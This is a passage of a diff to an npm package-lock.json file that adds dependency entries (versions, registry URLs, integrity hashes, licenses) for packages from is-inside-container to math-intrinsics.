"https://registry.npmjs.org/is-inside-container/-/is-inside-container-1.0.0.tgz", + "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==", + "license": "MIT", + "dependencies": { + "is-docker": "^3.0.0" + }, + "bin": { + "is-inside-container": "cli.js" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-obj": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", + "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regexp": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-unicode-supported": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-2.1.0.tgz", + "integrity": "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-url-superb": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-url-superb/-/is-url-superb-4.0.0.tgz", + "integrity": "sha512-GI+WjezhPPcbM+tqE9LnmsY5qqjwHzTvjJ36wxYX5ujNXefSUJ/T17r5bqDV8yLhcgB59KTPNOc9O9cmHTPWsA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-wsl": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-3.1.1.tgz", + "integrity": "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw==", + "license": "MIT", + "dependencies": { + "is-inside-container": "^1.0.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "license": "MIT" + }, + "node_modules/isbinaryfile": { + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-5.0.7.tgz", + "integrity": "sha512-gnWD14Jh3FzS3CPhF0AxNOJ8CxqeblPTADzI38r0wt8ZyQl5edpy75myt08EG2oKvpyiqSqsx+Wkz9vtkbTqYQ==", + "license": "MIT", + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/gjtorikian/" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jackspeak": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.2.3.tgz", + "integrity": "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg==", + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^9.0.0" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/jiti": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", + "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/jose": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.1.tgz", + "integrity": "sha512-jUaKr1yrbfaImV7R2TN/b3IcZzsw38/chqMpo2XJ7i2F8AfM/lA4G1goC3JVEwg0H7UldTmSt3P68nt31W7/mw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/js-stringify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", + "integrity": "sha512-rtS5ATOo2Q5k1G+DADISilDA6lv79zIiwFd6CcjuIxGKLFm5C+RLImRscVap9k55i+MOZwgliw+NejvkLuGD5g==", + "dev": true, + "license": "MIT" + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jscpd": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/jscpd/-/jscpd-4.0.9.tgz", + "integrity": "sha512-fp6Sh42W3mIPoQgZmgYmKDLQzEDnnX2vaGlTN4haILkB2vsi+ewcCHEtWR/2CR/QbsBvAvsNo8U5Sa+p9aHiGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jscpd/badge-reporter": "4.0.5", + "@jscpd/core": "4.0.5", + "@jscpd/finder": "4.0.5", + "@jscpd/html-reporter": "4.0.5", + "@jscpd/tokenizer": "4.0.5", + "colors": "^1.4.0", + "commander": "^5.0.0", + "fs-extra": "^11.2.0", + "jscpd-sarif-reporter": "4.0.7" + }, + "bin": { + "jscpd": "bin/jscpd" + } + }, + "node_modules/jscpd-sarif-reporter": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/jscpd-sarif-reporter/-/jscpd-sarif-reporter-4.0.7.tgz", + "integrity": "sha512-Q/VlfTI/Nbjc8dZ/2pDVIf1aRi2bM2CTYujcAoeYr7brRnS4o5ZeW86W8q7MM7cQu40gezlNckl+E9wKFSMFiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "colors": "^1.4.0", + "fs-extra": "^11.2.0", + "node-sarif-builder": "^3.4.0" + } + }, + "node_modules/jscpd/node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/json-bigint": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", + "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", + "license": "MIT", + "dependencies": { + "bignumber.js": "^9.0.0" + } + }, + "node_modules/json-schema-to-ts": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", + "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "ts-algebra": "^2.0.0" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/json-schema-typed": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", + "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==", + "license": "BSD-2-Clause" + }, + "node_modules/json-stable-stringify": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.3.0.tgz", + "integrity": "sha512-qtYiSSFlwot9XHtF9bD9c7rwKjr+RecWT//ZnPvSmEjpV5mmPOCN4j8UjY5hbjNkOwZ/jQv3J6R1/pL7RwgMsg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "isarray": "^2.0.5", + "jsonify": "^0.0.1", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/json-with-bigint": { + "version": "3.5.7", + "resolved": "https://registry.npmjs.org/json-with-bigint/-/json-with-bigint-3.5.7.tgz", + "integrity": "sha512-7ei3MdAI5+fJPVnKlW77TKNKwQ5ppSzWvhPuSuINT/GYW9ZOC1eRKOuhV9yHG5aEsUPj9BBx5JIekkmoLHxZOw==", + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.1.tgz", + "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonify": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.1.tgz", + "integrity": "sha512-2/Ki0GcmuqSrgFyelQq9M05y7PS0mEwuIzrf3f1fPqkVDVRvZrPZtVSMHxdgo8Aq0sxAOb/cr2aqqA3LeWHVPg==", + "license": "Public Domain", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/jsonrepair": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/jsonrepair/-/jsonrepair-3.14.0.tgz", + "integrity": "sha512-tWPGKMZf/8UPim+fcW2EfcQ/d/7aKUrP6IECz9G3Tu6Q5dX0orSleqJ9z6sSw7qrQkjF8/Edo4DvsWBZ8H+HNg==", + "license": "ISC", + "bin": { + "jsonrepair": "bin/cli.js" + } + }, + "node_modules/jstransformer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", + "integrity": "sha512-C9YK3Rf8q6VAPDCCU9fnqo3mAfOH6vUGnMcP4AQAYIEpWtfGLpwOTmZ+igtdK5y+VvI2n3CyYSzy4Qh34eq24A==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-promise": "^2.0.0", + "promise": "^7.0.1" + } + }, + "node_modules/jstransformer/node_modules/is-promise": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", + "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/jwa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", + "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", + "license": "MIT", + "dependencies": { + "buffer-equal-constant-time": "^1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jws": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", + "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", + "license": "MIT", + "dependencies": { + "jwa": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/katex": { + "version": "0.16.45", + "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.45.tgz", + "integrity": "sha512-pQpZbdBu7wCTmQUh7ufPmLr0pFoObnGUoL/yhtwJDgmmQpbkg/0HSVti25Fu4rmd1oCR6NGWe9vqTWuWv3GcNA==", + "funding": [ + "https://opencollective.com/katex", + "https://github.com/sponsors/katex" + ], + "license": "MIT", + "dependencies": { + "commander": "^8.3.0" + }, + "bin": { + "katex": "cli.js" + } + }, + "node_modules/koffi": { + "version": "2.16.2", + "resolved": "https://registry.npmjs.org/koffi/-/koffi-2.16.2.tgz", + "integrity": "sha512-owU0MRwv6xkrVqCd+33uw6BaYppkTRXbO/rVdJNI2dvZG0gzyRhYwW25eWtc5pauwK8TGh3AbkFONSezdykfSA==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "funding": { + "url": "https://liberapay.com/Koromix" + } + }, + "node_modules/leac": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/leac/-/leac-0.6.0.tgz", + "integrity": "sha512-y+SqErxb8h7nE/fiEX07jsbuhrpO9lL8eca7/Y1nuWV2moNlXhyd59iDGcRf6moVyDMbmTNzL40SUyrFU/yDpg==", + "license": "MIT", + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, + "node_modules/lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", + "license": "MIT" + }, + "node_modules/lodash.snakecase": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", + "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==", + "license": "MIT" + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, + "node_modules/lru-cache": { + "version": "11.2.6", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.6.tgz", + "integrity": "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ==", + "license": "BlueOak-1.0.0", + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/madge": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/madge/-/madge-8.0.0.tgz", + "integrity": "sha512-9sSsi3TBPhmkTCIpVQF0SPiChj1L7Rq9kU2KDG1o6v2XH9cCw086MopjVCD+vuoL5v8S77DTbVopTO8OUiQpIw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.1.2", + "commander": "^7.2.0", + "commondir": "^1.0.1", + "debug": "^4.3.4", + "dependency-tree": "^11.0.0", + "ora": "^5.4.1", + "pluralize": "^8.0.0", + "pretty-ms": "^7.0.1", + "rc": "^1.2.8", + "stream-to-array": "^2.3.0", + "ts-graphviz": "^2.1.2", + "walkdir": "^0.4.1" + }, + "bin": { + "madge": "bin/cli.js" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "individual", + "url": "https://www.paypal.me/pahen" + }, + "peerDependencies": { + "typescript": "^5.4.4" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/madge/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/madge/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/madge/node_modules/parse-ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-2.1.0.tgz", + "integrity": "sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/madge/node_modules/pretty-ms": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/pretty-ms/-/pretty-ms-7.0.1.tgz", + "integrity": "sha512-973driJZvxiGOQ5ONsFhOF/DtzPMOMtgC11kCpUrPGMTgqp2q/1gwzCquocrN33is0VZ5GFHXZYMM9l6h67v2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "parse-ms": "^2.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/magic-bytes.js": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/magic-bytes.js/-/magic-bytes.js-1.13.0.tgz", + "integrity": "sha512-afO2mnxW7GDTXMm5/AoN1WuOcdoKhtgXjIvHmobqTD1grNplhGdv3PFOyjCVmrnOZBIT/gD/koDKpYG+0mvHcg==", + "license": "MIT" + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/magicast": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.2.tgz", + "integrity": "sha512-E3ZJh4J3S9KfwdjZhe2afj6R9lGIN5Pher1pF39UGrXRqq/VDaGVIGN13BjHd2u8B61hArAGOnso7nBOouW3TQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "source-map-js": "^1.2.1" + } + }, + "node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/markdown-table": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz", + "integrity": "sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==", + "dev": true, + "license": "MIT", + "dependencies": { + "repeat-string": "^1.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/markdownlint": { + "version": "0.40.0", + "resolved": "https://registry.npmjs.org/markdownlint/-/markdownlint-0.40.0.tgz", + "integrity": "sha512-UKybllYNheWac61Ia7T6fzuQNDZimFIpCg2w6hHjgV1Qu0w1TV0LlSgryUGzM0bkKQCBhy2FDhEELB73Kb0kAg==", + "license": "MIT", + "dependencies": { + "micromark": "4.0.2", + "micromark-core-commonmark": "2.0.3", + "micromark-extension-directive": "4.0.0", + "micromark-extension-gfm-autolink-literal": "2.1.0", + "micromark-extension-gfm-footnote": "2.1.0", + "micromark-extension-gfm-table": "2.1.1", + "micromark-extension-math": "3.1.0", + "micromark-util-types": "2.0.2", + "string-width": "8.1.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/DavidAnson" + } + }, + "node_modules/markdownlint/node_modules/string-width": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.1.0.tgz", + "integrity": "sha512-Kxl3KJGb/gxkaUMOjRsQ8IrXiGW75O4E3RPjFIINOVH8AMl2SQ/yWdTzWwF3FevIX9LcMAjJW+GRwAlAbTSXdg==", + "license": "MIT", + "dependencies": { + "get-east-asian-width": "^1.3.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/marked": { + "version": "18.0.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-18.0.3.tgz", + "integrity": "sha512-7VT90JOkDeaRWpfjOReRGPEKn0ecdARBkDGL+tT1wZY0efPPqkUxLUSmzy/C7TIylQYJC9STISEsCHrqb/7VIA==", + "license": "MIT", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/math-intrinsics": { + "version": 